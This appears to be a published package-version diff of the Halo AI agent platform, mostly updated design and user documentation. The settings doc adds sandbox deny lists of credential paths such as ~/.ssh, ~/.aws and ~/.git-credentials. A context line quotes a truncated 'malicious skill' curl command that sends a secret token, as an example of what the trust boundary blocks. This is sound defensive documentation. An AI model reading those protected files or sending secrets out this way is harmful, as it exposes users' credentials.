@turmind/halo 1.5.4 → 1.5.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin-out/404.html +1 -1
- package/admin-out/_next/static/chunks/{133-33aa091fba853037.js → 422-cc74b1fdd3af5415.js} +1 -1
- package/admin-out/_next/static/chunks/989-bc743317498d3fbc.js +1 -0
- package/admin-out/_next/static/chunks/app/page-0a390059f1914664.js +1 -0
- package/admin-out/_next/static/chunks/{webpack-1a264efd965db7ab.js → webpack-edf248e07333566d.js} +1 -1
- package/admin-out/_next/static/css/b53542687ebd4c65.css +3 -0
- package/admin-out/index.html +1 -1
- package/admin-out/index.txt +5 -5
- package/bundled-docs/design/agent.md +4 -4
- package/bundled-docs/design/agentcore.md +13 -10
- package/bundled-docs/design/architecture.md +24 -14
- package/bundled-docs/design/command.md +5 -5
- package/bundled-docs/design/cron.md +2 -2
- package/bundled-docs/design/evolution.md +34 -35
- package/bundled-docs/design/express-self.md +6 -4
- package/bundled-docs/design/feishu.md +18 -14
- package/bundled-docs/design/halo-city.md +5 -4
- package/bundled-docs/design/observability.md +9 -9
- package/bundled-docs/design/prompt-system.md +12 -12
- package/bundled-docs/design/session.md +12 -12
- package/bundled-docs/design/slack.md +22 -20
- package/bundled-docs/design/storage.md +18 -19
- package/bundled-docs/design/telegram.md +26 -8
- package/bundled-docs/design/web.md +3 -1
- package/bundled-docs/design/wechat.md +8 -6
- package/bundled-docs/design/wecom.md +23 -9
- package/bundled-docs/design/ws.md +6 -6
- package/bundled-docs/dev/acp-adapter.md +8 -8
- package/bundled-docs/dev/add-channel.md +12 -9
- package/bundled-docs/dev/add-model-provider.md +31 -20
- package/bundled-docs/dev/api.md +83 -57
- package/bundled-docs/dev/deploy.md +8 -6
- package/bundled-docs/dev/env.md +16 -11
- package/bundled-docs/dev/logging.md +15 -29
- package/bundled-docs/dev/previews.md +20 -11
- package/bundled-docs/dev/tools.md +24 -12
- package/bundled-docs/guide/README.md +1 -0
- package/bundled-docs/guide/agents.md +19 -53
- package/bundled-docs/guide/channels/README.md +7 -4
- package/bundled-docs/guide/channels/acp.md +3 -1
- package/bundled-docs/guide/channels/feishu.md +13 -11
- package/bundled-docs/guide/channels/slack.md +12 -10
- package/bundled-docs/guide/channels/telegram.md +21 -27
- package/bundled-docs/guide/channels/web.md +15 -11
- package/bundled-docs/guide/channels/wechat.md +15 -14
- package/bundled-docs/guide/channels/wecom.md +7 -2
- package/bundled-docs/guide/chat.md +10 -9
- package/bundled-docs/guide/cli.md +10 -8
- package/bundled-docs/guide/getting-started.md +3 -3
- package/bundled-docs/guide/secrets-and-credentials.md +3 -3
- package/bundled-docs/guide/sessions.md +3 -3
- package/bundled-docs/guide/skills.md +8 -6
- package/bundled-docs/guide/testing-agents-and-skills.md +14 -15
- package/bundled-docs/guide/workspace.md +27 -15
- package/bundled-docs/requirements/agent.md +19 -18
- package/bundled-docs/requirements/chat.md +16 -17
- package/bundled-docs/requirements/command.md +10 -10
- package/bundled-docs/requirements/editor.md +10 -9
- package/bundled-docs/requirements/explorer.md +10 -7
- package/bundled-docs/requirements/session.md +16 -17
- package/bundled-docs/requirements/settings.md +18 -14
- package/bundled-docs/requirements/skill.md +4 -4
- package/bundled-docs/requirements/source-control.md +4 -3
- package/bundled-docs/requirements/terminal.md +13 -13
- package/bundled-docs/requirements/workspace.md +19 -13
- package/dist/index.js +2038 -3558
- package/package.json +1 -1
- package/templates/config.yaml +6 -0
- package/templates/skills/workspace/share.md +11 -3
- package/templates/skills/workspace/stage.py +85 -5
- package/admin-out/_next/static/chunks/989-92e9683ae8d39750.js +0 -1
- package/admin-out/_next/static/chunks/app/page-7a635969198fc62b.js +0 -1
- package/admin-out/_next/static/css/4ea5f674146e54d8.css +0 -3
- /package/admin-out/_next/static/{lm8Bz3ugTSORyuSXfyx56 → cuVcldfdg1PXevaQMQSzb}/_buildManifest.js +0 -0
- /package/admin-out/_next/static/{lm8Bz3ugTSORyuSXfyx56 → cuVcldfdg1PXevaQMQSzb}/_ssgManifest.js +0 -0
|
@@ -6,12 +6,12 @@ Session history viewer: hierarchy tree, message playback, debug mode, system pro
|
|
|
6
6
|
|
|
7
7
|
### Session tree view
|
|
8
8
|
- Top-level sessions (no parentSessionId) act as roots; child sessions render indented
|
|
9
|
-
- Each row shows: title,
|
|
10
|
-
- Clicking
|
|
11
|
-
- Collapse / expand via arrow buttons
|
|
12
|
-
-
|
|
9
|
+
- Each row shows: title, message count (user turns over the session's lifetime — never shrinks when history is compacted/archived), relative time, and status icons (amber Archive for archived; StopCircle for stopped, sub-agent rows only). Sub-agent rows also carry an agent-name badge; a root row shows an "active" badge when it is the chat panel's current session
|
|
10
|
+
- Clicking a row previews its full message list in SessionChatPanel; double-clicking a root row opens it in an Explorer chat tab
|
|
11
|
+
- Collapse / expand via the arrow buttons; a row with descendants shows a non-clickable "+N" total descendant count
|
|
12
|
+
- Hover trash on a root row (confirm dialog) hard-deletes the session and its whole subtree via REST
|
|
13
13
|
- Inline title rename (admin-only): a hover pencil on any row — root **or** sub-agent — opens an inline input (Enter commits, Escape cancels, blur commits); persists via `PATCH /api/sessions/logs/:id`
|
|
14
|
-
- Infinite scroll loads more roots in pages; a silent reload (after streaming ends, or a delete / create / archive elsewhere) re-fetches the
|
|
14
|
+
- Infinite scroll loads more roots in pages; a silent reload (after streaming ends, or a delete / create / archive elsewhere) re-fetches only the first page and merges it over the rows already loaded, so the list keeps its depth and scroll position. Rows beyond the first page aren't re-checked until the next full reload (mount / project switch). No cap on depth (the 300-top-level cap was removed in 1.5.3-alpha)
|
|
15
15
|
- Viewed sessions are cached (LRU, 20 sessions; the one on screen is never evicted): switching back to a cached session shows the kept copy at once — transcript, archive position and reading position — and a stale copy (its log file changed, or the WS reconnected) is refetched in the background. Refetches are single-flight per session: at most one request in flight plus one queued re-pull. A session that is open in an Explorer chat tab shows that tab's live stream instead
|
|
16
16
|
- The Sessions tab mounts on first open and then stays mounted (CSS-hidden while another activity tab is up), so the cache and reading positions survive switching tabs
|
|
17
17
|
|
|
@@ -22,29 +22,27 @@ Session history viewer: hierarchy tree, message playback, debug mode, system pro
|
|
|
22
22
|
- For a session whose history was compacted, scrolling to the top shows a "load earlier messages" row; scrolling further or clicking it pulls one archived segment at a time. Pulled history renders expanded above the active log, with a divider marking where it ends, and is read-only (no delete)
|
|
23
23
|
|
|
24
24
|
### Debug mode
|
|
25
|
-
Top Debug toggle (Bug icon)
|
|
26
|
-
- **Normal mode**: user message + assistant reply (with inline tool-call cards); sub-agent notifications hidden
|
|
27
|
-
- **Debug mode**:
|
|
28
|
-
- **
|
|
29
|
-
- **
|
|
30
|
-
-
|
|
31
|
-
- **Usage** — token counts, latency (ttft / e2e), model ID, cache hit ratio
|
|
32
|
-
- Sub-agent messages carry an agent-name badge
|
|
25
|
+
Top Debug toggle (Bug icon), persisted in `localStorage` as `halo_session_debug`. When on:
|
|
26
|
+
- **Normal mode**: user message + assistant reply (with inline tool-call cards, click to expand IN / OUT); sub-agent notifications hidden
|
|
27
|
+
- **Debug mode**: adds, on top of the normal view:
|
|
28
|
+
- **Thinking** blocks (purple, expandable, with char count) inside assistant messages
|
|
29
|
+
- **Usage** line after each turn — timestamp, token counts (in / out / ctx, cache read / write / hit ratio), latency (ttft / e2e), thinking effort, model ID
|
|
30
|
+
- Sub-agent start / done markers labelled with the agent name
|
|
33
31
|
|
|
34
32
|
### System prompt viewer
|
|
35
|
-
The Prompt button (FileText icon) shows the system prompt used by this session. Extracted from the first `context`-type message; displays the full injected prompt (AGENT.md + INSTRUCTIONS.md + INDEX.md + TOOL_GUIDELINES + skills).
|
|
33
|
+
The Prompt button (FileText icon, shown only when the session has a prompt; open state persisted as `halo_session_prompt`) shows the system prompt used by this session in a floating card. Extracted from the first `context`-type message (never rendered inline in the list); displays the full injected prompt (AGENT.md + INSTRUCTIONS.md + INDEX.md + TOOL_GUIDELINES + skills).
|
|
36
34
|
|
|
37
35
|
### Session lifecycle
|
|
38
36
|
- Created on the first `chat` WS message (with a new sessionId)
|
|
39
37
|
- Auto-saved after every `complete` event
|
|
40
38
|
- Sessions restore from disk on refresh / WS reconnect (loaded at subscribe time; running sessions reattach from the detached pool)
|
|
41
|
-
- Deleting a session removes the JSON file (plus any archived history segments) and cascade-deletes all descendants
|
|
39
|
+
- Deleting a session removes the JSON file (plus any archived history segments) and cascade-deletes all descendants (their files and SQLite rows)
|
|
42
40
|
- Assistant messages persist their `contentBlocks` (text / thinking / tool calls, in the order they happened) so tool-call cards survive a refresh in the right places. Sessions written before content blocks existed carry a flat `toolCalls` array instead and still render, as a fallback
|
|
43
41
|
|
|
44
42
|
### Non-destructive /session new
|
|
45
43
|
`/session new` (also `/clear` and "+ New Session") **does not** destroy the old session:
|
|
46
44
|
1. A new draft tab opens in the chat panel with an empty conversation; the session is created on its first message or command
|
|
47
|
-
2. The old session keeps its tab and keeps streaming into it in the background (its row
|
|
45
|
+
2. The old session keeps its tab and keeps streaming into it in the background (its row's status dot pulses amber while it runs and turns blue once new output lands unseen)
|
|
48
46
|
3. The old session's sub-agents keep running independently
|
|
49
47
|
4. Switching back shows the old tab as it is; after a reconnect it reloads from the server
|
|
50
48
|
|
|
@@ -56,7 +54,7 @@ The Prompt button (FileText icon) shows the system prompt used by this session.
|
|
|
56
54
|
|---|---|
|
|
57
55
|
| Main session | Sidebar top level |
|
|
58
56
|
| Child session (has parentSessionId) | Nested under parent |
|
|
59
|
-
| Stopped session | Icon decorated with StopCircle |
|
|
57
|
+
| Stopped session (sub-agent row) | Icon decorated with StopCircle |
|
|
60
58
|
| Archived session | Shown dimmed (50% opacity) with an amber Archive icon — the list fetches `includeArchived=1`, so archived rows stay visible for inspection rather than being hidden |
|
|
61
59
|
|
|
62
60
|
## API
|
|
@@ -69,6 +67,7 @@ Unified session logs API (recommended):
|
|
|
69
67
|
| Read | `GET /api/sessions/logs/:id?projectId=...` |
|
|
70
68
|
| Read archived history | `GET /api/sessions/logs/:id/archive/:n?projectId=...` |
|
|
71
69
|
| Delete | `DELETE /api/sessions/logs/:id?projectId=...` |
|
|
70
|
+
| Rename | `PATCH /api/sessions/logs/:id?projectId=...` (body `{title}`) |
|
|
72
71
|
|
|
73
72
|
The List endpoint serves two consumers: this tree view (default — roots + all
|
|
74
73
|
descendants, paginated, rebuilt into a tree client-side) and the chat panel's
|
|
@@ -17,8 +17,8 @@ general: # built-in declarer (server itself)
|
|
|
17
17
|
max_summary_input: 15000
|
|
18
18
|
...
|
|
19
19
|
sandbox:
|
|
20
|
-
hidden_dirs: "~/.halo/secrets,~/.aws,~/.ssh,~/.gnupg,~/.docker,~/.config/gh"
|
|
21
|
-
hidden_files: "~/.npmrc,~/.bash_history,~/.gitconfig,~/.git-credentials,~/.netrc,~/.halo/global/runs.db"
|
|
20
|
+
hidden_dirs: "~/.halo/secrets,~/.aws,~/.ssh,~/.gnupg,~/.docker,~/.config/gh,~/.halo/global/internal-sessions,~/.halo/global/logs"
|
|
21
|
+
hidden_files: "~/.npmrc,~/.bash_history,~/.gitconfig,~/.git-credentials,~/.netrc,~/.halo/global/evo.db,~/.halo/global/evo.db-wal,~/.halo/global/evo.db-shm,~/.halo/global/cron.db,~/.halo/global/cron.db-wal,~/.halo/global/cron.db-shm,~/.halo/global/runs.db,~/.halo/global/runs.db-wal,~/.halo/global/runs.db-shm"
|
|
22
22
|
writable_dirs: "" # e.g. ~/.kiro,~/.local/share/kiro-cli — rw bind-mounts in bwrap; ignored for readonly sessions
|
|
23
23
|
logging:
|
|
24
24
|
level: warn
|
|
@@ -36,13 +36,13 @@ deepseek:
|
|
|
36
36
|
secrets:
|
|
37
37
|
api_key: <<DEEPSEEK_API_KEY>>
|
|
38
38
|
|
|
39
|
-
tavily-search:
|
|
39
|
+
tavily-web-search: # skill id from skills/<id>/config.yaml
|
|
40
40
|
params:
|
|
41
41
|
api_key: <<TAVILY_API_KEY>>
|
|
42
42
|
```
|
|
43
43
|
|
|
44
44
|
The path always reads as `<namespace-id>.<kind>s.<key>`:
|
|
45
|
-
- `<namespace-id>` is `general`, a provider id,
|
|
45
|
+
- `<namespace-id>` is `general`, a provider id, a skill id, or an agent id
|
|
46
46
|
- `<kind>` is `param` or `secret`
|
|
47
47
|
- `<key>` is the leaf, dotted for grouping (e.g. `general.compact.keep_messages`)
|
|
48
48
|
|
|
@@ -91,15 +91,17 @@ params:
|
|
|
91
91
|
secrets: []
|
|
92
92
|
```
|
|
93
93
|
|
|
94
|
+
Global agents declare theirs the same way in `agents/<agent-id>/agent-config.yaml` (same `params:` / `secrets:` lists; shown under Settings → Agents).
|
|
95
|
+
|
|
94
96
|
### General — built-in
|
|
95
97
|
|
|
96
|
-
Declared in [packages/server/src/settings-schema.ts](../../../packages/server/src/settings-schema.ts) `generalSection()`. The server itself is the implicit declarer. Keys: `language`, `agent.*`, `server.*`, `session.*`, `compact.*`, `sandbox.*`, `logging.*`, `evolution.*`, `limits.*`. All `general.*` keys are `globalOnly`: `config.ts` resolves them through `settingsValue()` against `~/.halo/secrets/settings.yaml` only, so a workspace `settings.yaml` cannot override them. Per-workspace layering applies to namespaced `params` / `secrets` (`getServerSecret(ns, key, workspaceRoot)`, `substituteSecrets`).
|
|
98
|
+
Declared in [packages/server/src/settings-schema.ts](../../../packages/server/src/settings-schema.ts) `generalSection()`. The server itself is the implicit declarer. Keys: `language`, `theme`, `agent.*`, `server.*`, `session.*`, `compact.*`, `sandbox.*`, `logging.*`, `observability.*` (read once at boot — restart to apply), `evolution.*`, `limits.*`. All `general.*` keys are `globalOnly`: `config.ts` resolves them through `settingsValue()` against `~/.halo/secrets/settings.yaml` only, so a workspace `settings.yaml` cannot override them. Per-workspace layering applies to namespaced `params` / `secrets` (`getServerSecret(ns, key, workspaceRoot)`, `substituteSecrets`).
|
|
97
99
|
|
|
98
100
|
`server.trust_proxy` (boolean, default `false`, `globalOnly`): whether the brute-force rate limiter (`middleware/brute-force.ts` `getClientIp`) trusts the `x-forwarded-for` header for client IP resolution. Direct-connect deployments leave it `false` and get the socket address. Behind a reverse proxy (nginx / Cloudflare / etc.), set it to `true` so the real client IP is honored instead of the proxy's — but only when that proxy is one you control and rewrites the header itself, otherwise a client can forge XFF to dodge lockouts.
|
|
99
101
|
|
|
100
102
|
`sandbox.hidden_dirs` / `sandbox.hidden_files` / `sandbox.writable_dirs` are `globalOnly` — they define the security boundary agents run inside, so a workspace `settings.yaml` cannot override them (a workspace overriding them could lift its own sandbox constraints).
|
|
101
103
|
|
|
102
|
-
`evolution.*` controls the self-evolution subsystem (see [
|
|
104
|
+
`evolution.*` controls the self-evolution subsystem (see [design/evolution.md](../design/evolution.md)). All `evolution.*` keys are `globalOnly` — they live in `~/.halo/secrets/settings.yaml` only, not workspace settings. Notable knobs: `evolution.level` (`L0` = manual only: `/evo` drafts, a reviewer approves; `L1` = L0 plus automatic drafting on pre-compact), `evolution.max_concurrent_run` / `max_concurrent_apply` (wrapper concurrency caps), `evolution.run_timeout_minutes` / `apply_timeout_minutes` (heartbeat timeouts), `evolution.max_attempts` (per-row retry cap), `evolution.triggers.pre_compact` (snapshot session before compaction).
|
|
103
105
|
|
|
104
106
|
Goal mode's entry points are offline (the `/goal` command, admin banner and creation of new goal sessions are hidden). To reopen them, set `general.goal_mode_enabled` — a global-only boolean, default `false`, read from `~/.halo/secrets/settings.yaml` only (a workspace `settings.yaml` has no effect) and not shown in the Settings UI — then restart the Halo server and refresh the browser (existing goal bindings and history are not touched either way):
|
|
105
107
|
|
|
@@ -117,11 +119,13 @@ The value is read once at process start, so unlike other settings it is **not**
|
|
|
117
119
|
| Attribute | Required | Purpose |
|
|
118
120
|
|---|---|---|
|
|
119
121
|
| `key` | yes | Leaf key under the namespace |
|
|
122
|
+
| `type` | no | `string` (default) / `int` / `float` / `boolean` / `enum` — picks the input widget |
|
|
123
|
+
| `options` / `optionLabels` | no | For `type: enum`: the allowed values, and optional display labels parallel to them |
|
|
120
124
|
| `description` | no | English description rendered as help text |
|
|
121
125
|
| `description_zh` | no | Chinese description (UI picks based on lang) |
|
|
122
126
|
| `default` | no | Placeholder shown when the value is unset; supports `<<ENV>>` |
|
|
123
127
|
| `secret` | no | `true` → masked in API responses + password input in UI |
|
|
124
|
-
| `globalOnly` | no | `true` → read from global settings only; workspace overrides are ignored at runtime. UI disables the workspace input and shows a "global only" hint |
|
|
128
|
+
| `globalOnly` | no | `true` → read from global settings only; workspace overrides are ignored at runtime. UI disables the workspace input and shows a "global only" hint; `PUT` / `PATCH` / `DELETE` of such a key at workspace scope is rejected with 400. Set by the built-in `general` section only — provider / skill / agent yaml declarations don't read it |
|
|
125
129
|
|
|
126
130
|
## Scope: global vs. workspace
|
|
127
131
|
|
|
@@ -133,7 +137,8 @@ The value is read once at process start, so unlike other settings it is **not**
|
|
|
133
137
|
Read order: `<schema default> <- <global> <- <workspace>` (workspace layer applies to namespaced `params` / `secrets` only — see General above).
|
|
134
138
|
|
|
135
139
|
The Settings page shows source badges per field:
|
|
136
|
-
- `workspace` (
|
|
140
|
+
- `workspace` (blue, override applied here)
|
|
141
|
+
- `global` (green, value set at the global layer)
|
|
137
142
|
- `inherited from global` (grey, value pulled from global because workspace has none)
|
|
138
143
|
- `unset` (no value at any layer; the `default` is shown as placeholder)
|
|
139
144
|
|
|
@@ -147,7 +152,7 @@ Values can carry `<<ENV_NAME>>` placeholders. They're expanded:
|
|
|
147
152
|
|
|
148
153
|
**Trust boundary**: `<<ENV>>` is only expanded inside settings-resolved values. Raw cmd text the agent writes is not scanned — `shell_exec "echo <<HOME>>"` keeps the literal. This prevents an agent from naming an env var and forcing the server to dump it.
|
|
149
154
|
|
|
150
|
-
Env var unset → the `<<ENV_NAME>>` literal stays verbatim, plus `[
|
|
155
|
+
Env var unset → the `<<ENV_NAME>>` literal stays verbatim, plus `[MdVars] Env var "X" not set — keeping <<X>> literal` in the server log. The Settings UI returns the literal too — the browser never sees the real env value.
|
|
151
156
|
|
|
152
157
|
## Agent visibility
|
|
153
158
|
|
|
@@ -169,7 +174,7 @@ A malicious skill that tries `curl -H "Bearer {{aws-bedrock-claude-invoke.secret
|
|
|
169
174
|
|
|
170
175
|
## Orphans
|
|
171
176
|
|
|
172
|
-
|
|
177
|
+
`params` / `secrets` values present in `settings.yaml` that no current schema declaration covers (the whole namespace is gone, or just that key) are surfaced as **orphans** in a dedicated tab. They aren't deleted automatically — uninstalling a skill keeps its values around so re-installing pops them back in. Users prune them on their own schedule via the orphan tab's per-key Remove buttons.
|
|
173
178
|
|
|
174
179
|
`general.*` is intentionally excluded from orphan detection — its declared keys are enumerated by the built-in schema, so anything else there is treated as either a typo or a forward-compat field, not an orphan.
|
|
175
180
|
|
|
@@ -177,7 +182,7 @@ Values present in `settings.yaml` whose namespace doesn't appear in any current
|
|
|
177
182
|
|
|
178
183
|
A **Security** entry in the left nav (below the System group) opens a page with two cards. Like `__orphans` it's a synthetic nav target, not a schema section — the credential lives in `~/.halo/secrets/config.yaml` (`server.password`, scrypt hash), not `settings.yaml`, and the header shows that path accordingly.
|
|
179
184
|
|
|
180
|
-
**Change password** — three inputs: current password, new password, confirm. Live client-side feedback while typing: strength rule (≥8 chars, at least one letter and one digit), new ≠ current, confirm matches; the submit button stays disabled until all pass. Submit posts to `POST /api/auth/change-password` (see [dev/api.md](../dev/api.md)) — the server re-runs the same checks authoritatively; a server rejection is shown verbatim under the form. Success shows an inline confirmation and clears all three fields. Existing sessions stay signed in (`jwt_secret` is not rotated). Forgotten password (can't provide the current one) is out of scope here — that's `halo setup`'s reset path.
|
|
185
|
+
**Change password** — three inputs: current password, new password, confirm. Live client-side feedback while typing: strength rule (≥8 chars, at least one letter and one digit), new ≠ current, confirm matches; the submit button stays disabled until all pass. Submit posts to `POST /api/auth/change-password` (see [dev/api.md](../dev/api.md)) — the server re-runs the same checks authoritatively; a server rejection is shown verbatim under the form. Success shows an inline confirmation and clears all three fields. When the password is supplied by the `HALO_PASSWORD` env var the endpoint refuses with 400, since the stored hash is not what login checks. Existing sessions stay signed in (`jwt_secret` is not rotated). Forgotten password (can't provide the current one) is out of scope here — that's `halo setup`'s reset path.
|
|
181
186
|
|
|
182
187
|
**Log out** — the login state is an httpOnly JWT cookie, so JS can't clear it directly: the button calls `POST /api/auth/logout` (server expires the cookie via Set-Cookie) and reloads; the boot auth check then lands on the login page. This browser only — no server-side token blacklist.
|
|
183
188
|
|
|
@@ -185,7 +190,6 @@ A **Security** entry in the left nav (below the System group) opens a page with
|
|
|
185
190
|
|
|
186
191
|
| Operation | Method | Endpoint | Purpose |
|
|
187
192
|
|---|---|---|---|
|
|
188
|
-
| Read merged settings (legacy) | GET | `/api/settings?projectId=xxx` | Raw read, used by older tooling |
|
|
189
193
|
| Read schema + resolved values | GET | `/api/settings/schema?projectId=xxx` | Drives the new Settings page |
|
|
190
194
|
| Replace scope | PUT | `/api/settings` | Bulk replace one yaml file |
|
|
191
195
|
| Patch single key | PATCH | `/api/settings` | Set a leaf at `<dotted-key>` |
|
|
@@ -208,7 +212,7 @@ A **Security** entry in the left nav (below the System group) opens a page with
|
|
|
208
212
|
"kind": "secret",
|
|
209
213
|
"description": "AWS Access Key ID",
|
|
210
214
|
"description_zh": "...",
|
|
211
|
-
"default":
|
|
215
|
+
"default": "...", // omitted when the schema declares none
|
|
212
216
|
"secret": true,
|
|
213
217
|
"value": "AK****ST",
|
|
214
218
|
"hasValue": true,
|
|
@@ -237,7 +241,7 @@ A **Security** entry in the left nav (below the System group) opens a page with
|
|
|
237
241
|
|
|
238
242
|
### DELETE body
|
|
239
243
|
|
|
240
|
-
Same shape minus `value`. Removes the leaf at `key`. For Reset behaviour: workspace scope DELETE → field falls back to global / default; global scope DELETE → field becomes unset.
|
|
244
|
+
Same shape minus `value`. Removes the leaf at `key`. For Reset behaviour: workspace scope DELETE → field falls back to global / default; global scope DELETE → field becomes unset. Like PUT / PATCH it fires the settings-change notification; deleting a key that is already absent is a no-op (no write, no notification). Like PATCH, a `globalOnly` key at workspace scope is rejected with 400 and the file is left untouched.
|
|
241
245
|
|
|
242
246
|
## i18n
|
|
243
247
|
|
|
@@ -35,11 +35,11 @@ button is hidden in this mode (`showMaximize={false}`).
|
|
|
35
35
|
### Management UI
|
|
36
36
|
|
|
37
37
|
The Skills sidebar mirrors the Agents sidebar layout:
|
|
38
|
-
- Two collapsible sections — **Global** (globe icon) and **Workspace** (folder icon). Expanded state persists in `halo_skills_expandedScopes` (localStorage)
|
|
38
|
+
- Two collapsible sections — **Global** (globe icon) and **Workspace** (folder icon, shown only while a workspace is open). Expanded state persists in `halo_skills_expandedScopes` (localStorage)
|
|
39
39
|
- Each section header has its own **+ button** — scope is implicit from which button is clicked, no pop-up picker
|
|
40
40
|
- Creating a name that collides with the other scope prompts a one-time confirmation explaining the runtime override
|
|
41
41
|
- Items overridden by a workspace skill are rendered dimmed with "overridden" subtitle
|
|
42
|
-
- Disabled skills are rendered dimmed with "disabled" subtitle
|
|
42
|
+
- Each row has a toggle switch (shown on hover while enabled, always visible once disabled) and a hover trash button. Disabled skills are rendered dimmed with "disabled" subtitle. Disabled state is stored per workspace in the `disabled_items` table of `halo.db` (not in SKILL.md frontmatter). Both global and workspace skills can be independently toggled per workspace. Disabled skills are excluded from system prompt injection, activate_skill tool, agent form skill picker, and `/workspace share` export.
|
|
43
43
|
- Selection uses a composite `id:scope` key (localStorage `halo_skills_selectedKey`) so the same id in different scopes can coexist
|
|
44
44
|
|
|
45
45
|
### Auto-sync behaviour (workspace vs. global)
|
|
@@ -73,13 +73,13 @@ Review the code for:
|
|
|
73
73
|
|
|
74
74
|
- **Frontmatter** (required): `name` (kebab-case, = directory name) + `description` — injected into the agent system prompt for discovery
|
|
75
75
|
- **Body**: the full instructions, lazily loaded by the agent via `activate_skill`
|
|
76
|
-
- **Optional fields**: `
|
|
76
|
+
- **Optional fields**: `command` (slash command registration — opt-in, only declared commands exist), `requiresAccess` (one of `full` / `workspace` / `readonly`), `verbs` (Halo extension — subcommand list, each `{ name, builtin?, requiresAccess?, desc? }`; skill verbs' access gates are declared here), `disable-model-invocation` (standard — command exists but skill is not injected for model auto-activation), `user-invocable` (standard — `false` = never a slash command, model can still activate). Other standard fields (`allowed-tools`, `metadata`) are tolerated but not read
|
|
77
77
|
- **Arguments**: user command-line args fill `$ARGUMENTS` / `$1`–`$9` placeholders in the body (quotes respected, `\$` escapes, `$5.00`/`$PATH` untouched); `{{...}}` placeholders (params/channel/workspace_root etc.) carry platform-injected values — the two coexist without cross-translation. A verb reaches the body as `$1` for dispatch; args are no longer appended verbatim to the body end
|
|
78
78
|
|
|
79
79
|
### Skill-as-command
|
|
80
80
|
When a `command` field is present (e.g. `command: /review`), the skill auto-registers as a slash command. Users trigger it with `/review`. See [commands](command.md).
|
|
81
81
|
|
|
82
|
-
If the `command` collides with a built-in slash command (or another skill's `command`), it is dropped from the command list
|
|
82
|
+
If the `command` collides with a built-in slash command (or another skill's `command`), it is dropped from the command list (a warning is logged when another skill owns the name) — built-ins win, then first-come among skills. Only the slash command is lost; the skill stays usable via `activate_skill`. See [conflict detection](command.md#conflict-detection).
|
|
83
83
|
|
|
84
84
|
### Access-level gate (`requiresAccess`)
|
|
85
85
|
|
|
@@ -19,7 +19,7 @@ The Source Control **activity-bar entry itself is hidden in non-git workspaces**
|
|
|
19
19
|
Once the entry is shown, the panel resolves to one of these on open, driven by `GET /api/git/status`:
|
|
20
20
|
|
|
21
21
|
1. **Not a repo** (`{isRepo: false}`) — the folder has no git work-tree at its root (either no repo at all, or it only sits *inside* an ancestor's repo). Shows an **Initialize Repository** empty state. Never a 500/console error — a non-repo folder is a normal state.
|
|
22
|
-
2. **Repo, no remote** — `GET /api/git/remotes` is empty.
|
|
22
|
+
2. **Repo, no remote** — `GET /api/git/remotes` is empty. The Changes view shows an **Add Remote** prompt (push/pull buttons hidden) to guide first publish. Adding a remote is a purely local op with **no commit precondition** — a freshly-`init`'d empty repo can set its remote URL right away (not gated behind "must have a commit first", which would be a mis-applied VSCode *Publish* gate).
|
|
23
23
|
3. **Repo with remote** — the full panel: CHANGES list, commit box, history graph.
|
|
24
24
|
|
|
25
25
|
### Ancestor-repo guard
|
|
@@ -30,7 +30,7 @@ A workspace placed *under* another repo (e.g. a dotfiles `$HOME`, or a monorepo
|
|
|
30
30
|
- CHANGES section lists every modified/added/deleted/untracked/renamed file, split into **Staged** and **Changes** groups (mirrors the porcelain X/Y status chars).
|
|
31
31
|
- Each row shows a VSCode-style status badge: **M** modified (blue), **A** added / **U** untracked (green), **D** deleted (red), **R** renamed / **C** copied (blue), **U→Conflict** unmerged (red).
|
|
32
32
|
- Stage / unstage individual files or all at once (`POST /api/git/stage` · `unstage`).
|
|
33
|
-
- Click a file → opens a **Monaco side-by-side diff** (`GET /api/git/diff`); original side is HEAD (or the rename's old path), modified side is the working/staged copy.
|
|
33
|
+
- Click a file → opens a **Monaco side-by-side diff** (`GET /api/git/diff`); original side is HEAD (or the rename's old path), modified side is the working/staged copy. There is no binary special case: both sides are read as UTF-8 text (`git show` / the working-tree file), so a binary file opens as garbled text rather than a "Binary files differ" notice.
|
|
34
34
|
- **Single-file discard is intentionally omitted** — it's an "operation", not a "view". Use the command line (`git checkout`).
|
|
35
35
|
|
|
36
36
|
## Commit & sync
|
|
@@ -39,6 +39,7 @@ A workspace placed *under* another repo (e.g. a dotfiles `$HOME`, or a monorepo
|
|
|
39
39
|
- **Push** (`POST /api/git/push`): first push of an untracked branch sets upstream automatically (`-u origin <branch>`).
|
|
40
40
|
- **Push failure is surfaced as a friendly red banner**, never a raw leak. A missing-credentials push (`fatal: could not read Username for 'https://...'`) is detected and rephrased into a "configure credentials" guide rather than dumping git's stderr.
|
|
41
41
|
- Pull (`POST /api/git/pull`).
|
|
42
|
+
- The branch row shows the current branch plus **ahead / behind** counts against its upstream (↑N / ↓N, from `GET /api/git/status`; hidden when both are 0), next to the Pull / Push buttons (shown only once a remote exists).
|
|
42
43
|
|
|
43
44
|
## Auto-refresh (no polling)
|
|
44
45
|
|
|
@@ -80,4 +81,4 @@ The file tree colors and badges files by git status (VSCode-style), driven by th
|
|
|
80
81
|
|
|
81
82
|
## Out of scope (this round)
|
|
82
83
|
|
|
83
|
-
Branch create / switch / merge,
|
|
84
|
+
Branch create / switch / merge, AI-generated commit messages, clone, merge-conflict resolution UI, stash, worktree, timeline, PR management, the **DAG rail graph** (branch fork/merge visualization), and single-file discard. The DAG graph is deferred to the branch-operations round, where it has live branch actions to feed it — standalone it's decoration, not a viewing need.
|
|
@@ -5,11 +5,11 @@ xterm.js terminal with a node-pty backend, multi-tab, reconnect-resilient.
|
|
|
5
5
|
## Core behaviour
|
|
6
6
|
|
|
7
7
|
### Multi-tab
|
|
8
|
-
- Each tab owns an independent PTY
|
|
8
|
+
- Each tab owns an independent PTY; the first one is spawned only when the Terminal tab is first opened
|
|
9
9
|
- Every terminal has a unique `terminalId` for routing
|
|
10
10
|
- Tabs close independently
|
|
11
11
|
- All tabs on a client share one WebSocket connection (multiplexed by `terminalId`)
|
|
12
|
-
- The tab list is a column of Chrome-style **vertical tabs** on the right of the terminal (same `
|
|
12
|
+
- The tab list is a column of Chrome-style **vertical tabs** on the right of the terminal (same `VerticalTabRow` / `ResizableSidebar` components as the chat session tabs). Each row has a terminal icon and its name, and a ✕ that closes just that terminal; it appears on hover only, and not at all while a single terminal is left. A "+" at the bottom opens a new terminal
|
|
13
13
|
